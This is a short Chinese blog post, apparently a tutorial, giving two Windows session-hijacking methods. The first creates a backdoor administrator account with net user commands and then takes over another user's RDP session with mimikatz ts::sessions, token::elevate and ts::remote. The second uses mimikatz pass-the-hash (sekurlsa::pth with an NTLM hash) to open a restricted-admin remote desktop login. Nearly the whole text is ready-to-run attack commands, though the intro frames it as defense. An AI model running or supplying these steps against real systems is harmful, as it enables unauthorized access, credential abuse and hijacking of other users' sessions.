本文详细介绍了两种Windows系统下的权限提升和会话劫持方法。第一种方法通过创建用户并利用mimikatz工具，执行privilege::debug、ts::sessions、token::elevate和ts::remote/id:1命令实现权限提升和会话劫持。第二种方法则是使用mimikatz的pth模块，输入特定命令以远程登录并实现权限获取。这些技术涉及系统安全和黑客攻击防范。
一、劫持方式1：
创建用户：
net user test 123.com /add net localgroup administrators test /add
登录后，使用mimikatz工具
privilege::debug #提权
ts::sessions #查看当前主机的会话
token::elevate #提升本地管理员权限为system
ts::remote /id:1 #劫持id为1的会话
二、劫持方式2：
mimikatz命令如下：
privilege::debug
sekurlsa::pth /user:9821 /domain:DESKTOP-6RVIHJ2 /ntlm:e5df2c988f0d77ef35a9bdc95b5 "/run:mstsc.exe /restrictedadmin"
执行后弹出远程登录界面，如下图 选择连接，成功实现远程登录
扫一扫
2370
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
